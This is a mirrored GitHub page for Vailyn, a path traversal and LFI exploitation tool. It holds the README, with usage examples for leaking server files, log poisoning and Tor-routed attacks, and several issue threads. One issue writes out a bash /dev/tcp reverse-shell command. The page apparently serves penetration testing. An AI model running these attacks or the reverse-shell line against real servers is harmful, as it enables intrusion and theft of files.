GithubHelp home page GithubHelp logo

vainlystrain / vailyn Goto Github PK

View Code? Open in Web Editor NEW
189.0 7.0 23.0 1018 KB

A phased, evasive Path Traversal + LFI scanning & exploitation tool in Python

License: GNU General Public License v3.0

Python 99.84% Dockerfile 0.16%
websecurity information-leak exploitation vulnerability-scanners directory-traversal path-traversal pentest-tool websec vulnerability-assessment penetration-testing

vailyn's Introduction


Vailyn


Phased Path Traversal & LFI Attacks

Vailyn 3.0

Since v3.0, Vailyn supports LFI PHP wrappers in Phase 1. Use --lfi to include them in the scan.

About

Vailyn is a multi-phased vulnerability analysis and exploitation tool for path traversal and file inclusion vulnerabilities. It is built to make it as performant as possible, and to offer a wide arsenal of filter evasion techniques.

How does it work?

Vailyn operates in 2 phases. First, it checks if the vulnerability is present. It does so by trying to access /etc/passwd (or a user-specified file), with all of its evasive payloads. Analysing the response, payloads that worked are separated from the others.

Now, the user can choose freely which payloads to use. Only these payloads will be used in the second phase.

The second phase is the exploitation phase. Now, it tries to leak all possible files from the server using a file and a directory dictionary. The search depth and the directory permutation level can be adapted via arguments. Optionally, it can download found files, and save them in its loot folder. Alternatively, it will try to obtain a reverse shell on the system, letting the attacker gain full control over the server.

Right now, it supports multiple attack vectors: injection via query, path, cookie and POST data.

Why the phase separation?

The separation in several phases is done to hugely improve the performance of the tool. In previous versions, every file-directory combination was checked with every payload. This resulted in a huge overhead due to payloads being always used again, despite not working for the current page.

Installation

Recommended & tested Python versions are 3.7+, but it should work fine with Python 3.5 & Python 3.6, too. To install Vailyn, download the archive from the release tab, or perform

$ git clone https://github.com/VainlyStrain/Vailyn

Once on your system, you'll need to install the Python dependencies.

Unix Systems

On Unix systems, it is sufficient to run

$ pip install -r requirements.txt   # --user

Windows

Some libraries Vailyn uses do not work well with Windows, or will fail to install.

If you use Windows, use pip to install the requirements listed in Vailyn\·›\requirements-windows.txt.

If twisted fails to install, there is an unofficial version available here, which should build under Windows. Just bear in mind that this is a 3rd party download, and the integrity isn't necessarily guaranteed. After this installed successfully, running pip again on requirements-windows.txt should work.

Final Steps

If you want to fully use the reverse shell module, you'll need to have sshpass, ncat and konsole installed. Package names vary by Linux distribution. On Windows, you'll need to start the listener manually beforehand. If you don't like konsole, you can specify a different terminal emulator in core/config.py.

That's it! Fire Vailyn up by moving to its installation directory and performing

$ python Vailyn -h

Usage

Vailyn has 3 mandatory arguments: -v VIC, -a INT and -p2 TP P1 P2. However, depending on -a, more arguments may be required.

   ,                \                  /               , 
     ':.             \.      /\.     ./            .:'
        ':;.          :\ .,:/   ''. /;        ..::'
           ',':.,.__.'' '          ' `:.__:''.:'
              ';..                        ,;'     *
       *         '.,                   .:'
                    `v;.            ;v'        o
              .      '  '..      :.' '     .
                     '     ':;, '    '
            o                '          .   :        
                                           *
                         | Vailyn |
                      [ VainlyStrain ]
    
Vsynta Vailyn -v VIC -a INT -p2 TP P1 P2 
        [-p PAM] [-i F] [-Pi VIC2]
      [-c C] [-n] [-d I J K]
       [-s T] [-t] [-L]
  [-l] [-P] [-A] 

mandatory:
  -v VIC, --victim VIC  Target to attack, part 1 [pre-payload]
  -a INT, --attack INT  Attack type (int, 1-5, or A)

    A|  Spider (all)       2|  Path               5|  POST Data, json
    P|  Spider (partial)   3|  Cookie
    1|  Query Parameter    4|  POST Data, plain

  -p2 TP P1 P2, --phase2 TP P1 P2
                        Attack in Phase 2, and needed parameters

┌[ Values ]─────────────┬────────────────────┐
│ TP      │ P1          │ P2                 │
├─────────┼─────────────┼────────────────────┤
│ leak    │ File Dict   │ Directory Dict     │
│ inject  │ IP Addr     │ Listening Port     │
│ implant │ Source File │ Server Destination │
└─────────┴─────────────┴────────────────────┘

additional:
  -p PAM, --param PAM   query parameter or POST data for --attack 1, 4, 5
  -i F, --check F       File to check for in Phase 1 (df: etc/passwd)
  -Pi VIC2, --vic2 VIC2 Attack Target, part 2 [post-payload]
  -c C, --cookie C      Cookie to append (in header format)
  -l, --loot            Download found files into the loot folder
  -d I J K, --depths I J K
                        depths (I: phase 1, J: phase 2, K: permutation level)
  -h, --help            show this help menu and exit
  -s T, --timeout T     Request Timeout; stable switch for Arjun
  -t, --tor             Pipe attacks through the Tor anonymity network
  -L, --lfi             Additionally use PHP wrappers to leak files
  -n, --nosploit        skip Phase 2 (does not need -p2 TP P1 P2)
  -P, --precise         Use exact depth in Phase 1 (not a range)
  -A, --app             Start Vailyn's Qt5 interface

develop:
  --debug               Display every path tried, even 404s.
  --version             Print program version and exit.
  --notmain             Avoid notify2 crash in subprocess call.

Info:
  to leak files using absolute paths: -d 0 0 0
  to get a shell using absolute paths: -d 0 X 0

Vailyn currently supports 5 attack vectors, and provides a crawler to automate all of them. The attack performed is identified by the -a INT argument.

INT        attack
----       -------
1          query-based attack  (https://site.com?file=../../../)
2          path-based attack   (https://site.com/../../../)
3          cookie-based attack (will grab the cookies for you)
4          plain post data     (ELEM1=VAL1&ELEM2=../../../)
5          json post data      ({"file": "../../../"})
A          spider              fetch + analyze all URLs from site using all vectors
P          partial spider      fetch + analyze all URLs from site using only selected vectors

You also must specify a target to attack. This is done via -v VIC and -Pi VIC2, where -v is the part before the injection point, and -Pi the rest.

Example: if the final URL should look like: https://site.com/download.php?file=<ATTACK>&param2=necessaryvalue, you can specify -v https://site.com/download.php and -Pi &param2=necessaryvalue (and -p file, since this is a query attack).

If you want to include PHP wrappers in the scan (like php://filter), use the --lfi argument. At the end of Phase 1, you'll be presented with an additional selection menu containing the wrappers that worked. (if any)

If the attacked site is behind a login page, you can supply an authentication cookie via -c COOKIE. If you want to attack over Tor, use --tor.

Phase 1

This is the analysis phase, where working payloads are separated from the others.

By default, /etc/passwd is looked up. If the server is not running Linux, you can specify a custom file by -i FILENAME. Note that you must include subdirectories in FILENAME. You can modify the lookup depth with the first value of -d (default=8). If you want to use absolute paths, set the first depth to 0.

Phase 2

This is the exploitation phase, where Vailyn will try to leak as much files as possible, or gain a reverse shell using various techniques.

The depth of lookup in phase 2 (the maximal number of layers traversed back) is specified by the second value of the -d argument. The level of subdirectory permutation is set by the third value of -d.

If you attack with absolute paths and perform the leak attack, set all depths to 0. If you want to gain a reverse shell, make sure that the second depth is greater than 0.

By specifying -l, Vailyn will not only display files on the terminal, but also download and save the files into the loot folder.

If you want a verbose output (display every output, not only found files), you can use --debug. Note that output gets really messy, this is basically just a debug help.

To perform the bruteforce attack, you need to specify -p2 leak FIL PATH, where

  • FIL is a dictionary file containing filenames only (e.g. index.php)
  • PATH, is a dictionary file containing directory names only. Vailyn will handle directory permutation for you, so you'll need only one directory per line.

To gain a reverse shell by code injection, you can use -p2 inject IP PORT, where

  • IP is your listening IP
  • PORT is the port you want to listen on.

WARNING

Vailyn employs Log Poisoning techniques. Therefore, YOUR SPECIFIED IP WILL BE VISIBLE IN THE SERVER LOGS.

The techniques (only work for LFI inclusions):

  • /proc/self/environ inclusion only works on outdated servers
  • Apache + Nginx Log Poisoning & inclusion
  • SSH Log Poisoning
  • poisoned mail inclusion
  • wrappers
    • expect://
    • data:// (plain & b64)
    • php://input

False Positive prevention

To distinguish real results from false positives, Vailyn does the following checks:

  • check the status code of the response
  • check if the response is identical to one taken before attack start: this is useful e.g, when the server returns 200, but ignores the payload input or returns a default page if the file is not found.
  • similar to #2, perform an additional check for query GET parameter handling (useful when server returns error that a needed parameter is missing)
  • check for empty responses
  • check if common error signatures are in the response content
  • check if the payload is contained in the response: this is an additional check for the case the server responds 200 for non-existing files, and reflects the payload in a message (like ../../secret not found)
  • check if the entire response is contained in the init check response: useful when the server has a default include which disappears in case of 404
  • for -a 2, perform an additional check if the response content matches the content from the server root URL
  • REGEX check for /etc/passwd if using that as lookup file

Examples

  • Simple Query attack, leaking files in Phase 2: $ Vailyn -v "http://site.com/download.php" -a 1 -p2 leak dicts/files dicts/dirs -p file --> http://site.com/download.php?file=../INJECT

  • Query attack, but I know a file file.php exists on exactly 2 levels above the inclusion point: $ Vailyn -v "http://site.com/download.php" -a 1 -p2 leak dicts/files dicts/dirs -p file -i file.php -d 2 X X -P This will shorten the duration of Phase 1 very much, since its a targeted attack.

  • Simple Path attack: $ Vailyn -v "http://site.com/" -a 2 -p2 leak dicts/files dicts/dirs --> http://site.com/../INJECT

  • Path attack, but I need query parameters and tag: $ Vailyn -v "http://site.com/" -a 2 -p2 leak dicts/files dicts/dirs -Pi "?token=X#title" --> http://site.com/../INJECT?token=X#title

  • Simple Cookie attack: $ Vailyn -v "http://site.com/cookiemonster.php" -a 3 -p2 leak dicts/files dicts/dirs Will fetch cookies and you can select cookie you want to poison

  • POST Plain Attack: $ Vailyn -v "http://site.com/download.php" -a 4 -p2 leak dicts/files dicts/dirs -p "DATA1=xx&DATA2=INJECT" will infect DATA2 with the payload

  • POST JSON Attack: $ Vailyn -v "http://site.com/download.php" -a 5 -p2 leak dicts/files dicts/dirs -p '{"file": "INJECT"}'

  • Attack, but target is behind login screen: $ Vailyn -v "http://site.com/" -a 1 -p2 leak dicts/files dicts/dirs -c "sessionid=foobar"

  • Attack, but I want a reverse shell on port 1337: $ Vailyn -v "http://site.com/download.php" -a 1 -p2 inject MY.IP.IS.XX 1337 # a high Phase 2 Depth is needed for log injection (will start a ncat listener for you if on Unix)

  • Full automation in crawler mode: $ Vailyn -v "http://root-url.site" -a A you can also specify other args, like cookie, depths, lfi & lookup file here

  • Full automation, but Arjun needs --stable: $ Vailyn -v "http://root-url.site" -a A -s ANY

Demo

asciicast Vailyn's Crawler analyzing a damn vulnerable web application. LFI Wrappers are not enabled.

GUI Demonstration (v2.2.1-5)

Possible Issues

Found some false positives/negatives (or want to point out other bugs/improvements): please leave an issue!

Code of Conduct

Vailyn is provided as an offensive web application audit tool. It has built-in functionalities which can reveal potential vulnerabilities in web applications, which could be exploited maliciously.

THEREFORE, NEITHER THE AUTHOR NOR THE CONTRIBUTORS ARE RESPONSIBLE FOR ANY MISUSE OR DAMAGE DUE TO THIS TOOLKIT.

By using this software, the user obliges to follow their local laws, to not attack someone else's system without explicit permission from the owner, or with malicious intent.

In case of an infringement, only the end user who committed it is accountable for their actions.

Credits & Copyright

Vailyn: Copyright © VainlyStrain

Arjun: Copyright © s0md3v

Arjun is no longer distributed with Vailyn. Install its latest version via pip.

vailyn's People

Contributors

vainlystrain avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar

vailyn's Issues

[BUG] Problem running on macOS ModuleNotFoundError: No module named 'dbus'

Category
Other

Describe the bug

➜  Vailyn git:(master) ./Vailyn
Traceback (most recent call last):
  File "/Users/nils.putnins/Code/Python/Vailyn/./Vailyn", line 26, in <module>
    from core.Cli import cli_main
  File "/Users/nils.putnins/Code/Python/Vailyn/core/Cli.py", line 59, in <module>
    from core.methods.attack import (
  File "/Users/nils.putnins/Code/Python/Vailyn/core/methods/attack.py", line 51, in <module>
    from core.methods.notify import notify
  File "/Users/nils.putnins/Code/Python/Vailyn/core/methods/notify.py", line 29, in <module>
    import notify2
  File "/usr/local/lib/python3.9/site-packages/notify2.py", line 39, in <module>
    import dbus
ModuleNotFoundError: No module named 'dbus'

To Reproduce
Steps to reproduce the behaviour:

  1. Install requirements and try to run on OS X (iTerm)

Desktop (please complete the following information):

  • macOS Big Sur

[Fix] Server Hangs on Reverse Shell

If the target server is only running on 1 thread, and a reverse shell is spawned, the server doesn't accept HTTP connections any more, leading to a DoS scenario. If this happens in your operation, perform the following steps:

  1. create a new listener on a different port
  2. in your current shell, enter the following command:
bash -i >& /dev/tcp/{YOUR IP}/{NEW PORT} 0>&1 & exit

This will spawn a new shell on your second port and terminate the first, and the server will accept connections again.

[BUG - Help wanted] Requests breaks POST Attack

Category
False Positive | False Negative

Describe the bug
The requests library which this project uses has some strange behaviours, which leads to the POST attack (-a 4) not working correctly.

The issue:
When you use a data dictionary for the POST request, requests percent-encodes the POST data. This leads that more complex evasion payloads fail, even if they should work. Also, the output of the scanner will be wrong. Let's say the server is vulnerable to ..%252f. Then, when Vailyn scans for ..%2f, it is detected as vulnerable, since requests transforms it into %252f. However, ..%2f will be shown as successful, while the real %252f test won't be.

There have been several ways to fix that in the past - none of them worked in this case.

The first way I have tried to fix it is using prepared requests, and manually setting the body afterwards. The second way was that I used a string for the data argument, instead of a dict. However, both tries resulted in the scanner finding nothing at all, despite a vulnerability being present.

If anyone reading this knows a fix: I'd really appreciate your help!

To Reproduce
Steps to reproduce the behaviour:

  1. Set up a server with a path traversal vulnerability coming from a POST parameter.
  2. Run Vailyn against this server.

Expected behaviour
Vailyn should output the vulnerability, and the correct payload.

Desktop (please complete the following information):

  • OS: [e.g. Windows, Linux] probably all
  • Program Version [e.g. 1.0] <= latest
  • Python Version [e.g. 3.7] 3.8
  • Requests Version: 2.24.0

[BUG] Module not found

Category
| Program Crash |

Describe the bug
The program gives the error:
└─# python3.8 Vailyn
Traceback (most recent call last):
File "Vailyn", line 40, in
from PyQt5.QtCore import Qt
ModuleNotFoundError: No module named 'PyQt5.sip'

I have installed all required modules, yet get above error.

To Reproduce
Steps to reproduce the behaviour:

  1. Arguments used '...'
  2. Selected payloads '....'
  3. See error '....'

Expected behaviour
The program to run.

Screenshots
If applicable, add screenshots to help explain your problem.

Desktop (please complete the following information):

  • OS: Kali rolling (fully updated)
  • Program Version latest
  • Python Version 3.8

Additional context
Add any other context about the problem here.

Installation fails - pyqt5 dependency

Category
Installation issue on Kali

Describe the bug
Installation fails due to pyqt5 dependency

To Reproduce

  1. pip install -r requirements.txt
  2. See error below:
root@kali:/opt/Vailyn# pip install -r requirements.txt 
DEPRECATION: Python 2.7 reached the end of its life on January 1st, 2020. Please upgrade your Python as Python 2.7 is no longer maintained. pip 21.0 will drop support for Python 2.7 in January 2021. More details about Python 2 support in pip can be found at https://pip.pypa.io/en/latest/development/release-process/#python-2-support
Collecting treelib
  Using cached treelib-1.6.1.tar.gz (24 kB)
Requirement already satisfied: requests in /usr/local/lib/python2.7/dist-packages (from -r requirements.txt (line 2)) (2.18.4)
Requirement already satisfied: argparse in /usr/lib/python2.7 (from -r requirements.txt (line 3)) (1.2.1)
Requirement already satisfied: colorama in /usr/local/lib/python2.7/dist-packages (from -r requirements.txt (line 4)) (0.4.3)
ERROR: Could not find a version that satisfies the requirement PyQt5 (from -r requirements.txt (line 5)) (from versions: none)
ERROR: No matching distribution found for PyQt5 (from -r requirements.txt (line 5))

Expected behaviour
Clean installation is expected.

Desktop

  • OS: Kali Linux
Distributor ID: Kali
Description:    Kali GNU/Linux Rolling
Release:        2020.3
Codename:       kali-rolling

Linux kali 5.4.0-kali4-amd64 #1 SMP Debian 5.4.19-1kali1 (2020-02-17) x86_64 GNU/Linux
  • Python Version - 2.7.18
  • pip 20.2

[2.10] Clean up attack.py

The attack routines are way too complex, and contain duplicate code. Clean them up by splitting them into several smaller functions, and regrouping similar behaviour in 1 function.

[2.10] Extend targeted attack feature

In Phase 1, it is possible to do a targeted attack. If you know file.php is just above the inclusion folder, you can specify -d 1 x x to greatly reduce the attack duration.

However, if the file sits 3 levels above, Vailyn will still check level 1 and 2.

Extend the targeted attack feature with a new argument --targeted. If provided, only check the exact Phase 1 depth.

[ENH] Tor for Windows

Is your feature request related to a problem? Please describe.
In Vailyn 1.5.1, attacking through Tor is only possible for Linux, because the command used to start the service (systemctl), is not available on Windows.

Describe the solution you'd like
Make Tor piping available for Windows-based systems.

Additional context
Since I don't have a Windows machine (and VM installations broken), I will need a hand for implementing this.

[2.10] Loot Extractor

When downloading files, extract the leaked data from the rest of the HTML document.

how fix this

root@kali:~/Vailyn# python3 Vailyn -h
Traceback (most recent call last):
File "/usr/lib/python3/dist-packages/dbus/bus.py", line 177, in activate_name_owner
return self.get_name_owner(bus_name)
File "/usr/lib/python3/dist-packages/dbus/bus.py", line 361, in get_name_owner
return self.call_blocking(BUS_DAEMON_NAME, BUS_DAEMON_PATH,
File "/usr/lib/python3/dist-packages/dbus/connection.py", line 652, in call_blocking
reply_message = self.send_message_with_reply_and_block(
dbus.exceptions.DBusException: org.freedesktop.DBus.Error.NameHasNoOwner: Could not get owner of name 'org.freedesktop.Notifications': no such name

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
File "/root/Vailyn/Vailyn", line 113, in
notify2.init("Vailyn")
File "/usr/local/lib/python3.9/dist-packages/notify2.py", line 102, in init
dbus_obj = bus.get_object('org.freedesktop.Notifications',
File "/usr/lib/python3/dist-packages/dbus/bus.py", line 241, in get_object
return self.ProxyObjectClass(self, bus_name, object_path,
File "/usr/lib/python3/dist-packages/dbus/proxies.py", line 250, in init
self._named_service = conn.activate_name_owner(bus_name)
File "/usr/lib/python3/dist-packages/dbus/bus.py", line 182, in activate_name_owner
self.start_service_by_name(bus_name)
File "/usr/lib/python3/dist-packages/dbus/bus.py", line 277, in start_service_by_name
return (True, self.call_blocking(BUS_DAEMON_NAME, BUS_DAEMON_PATH,
File "/usr/lib/python3/dist-packages/dbus/connection.py", line 652, in call_blocking
reply_message = self.send_message_with_reply_and_block(
dbus.exceptions.DBusException: org.freedesktop.DBus.Error.ServiceUnknown: The name org.freedesktop.Notifications was not provided by any .service files

[4.0] Path Traversal Implant

Add an option to exploit a path traversal in an upload routine, in order to replace a legitimate server file by a version containing a user-specified payload.

Advisory: Important Memory Fixes in 2.3+

In Vailyn 2.3, a severe memory issue has been resolved, causing systems to run out of memory with big directory dictionaries. Users are advised to update to the latest version, especially when attacking with huge dictionaries. More improvements towards dictionary handling planned in the future.

[4.0] Custom Crawler Mode

Add a possibility to configure the crawler to only scan for a subset of vectors (instead of all).

Wordlists for LFI

The example commands includes dicts/files and dicts/dirs as the wordlists to use.

They are not included on the repo, are we supposed to get them elsewhere or create them? Seems strange that the one thing needed to make the tool work is missing from the repo. dirs2 and files2 are included but they are too limited to be effective. Maybe I'm misunderstanding the intention behind this project.

I would suggest adding to the wiki some mention of the wordlists to clarify. I'm shocked I'm the first person to ask this.

[Observation] Pre-run loading takes a long time

Greetings!

I started the first run about 25 minutes back. The % loading is at 13%. This is a query attack run (-a 1) with a very short file & directory list (<10 entries).

  1. Is this expected behavior? Or it is only a first-run behavior?
  2. What parameters does this loading depend on? Is there a way to speed this up?

image

Thanks.

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.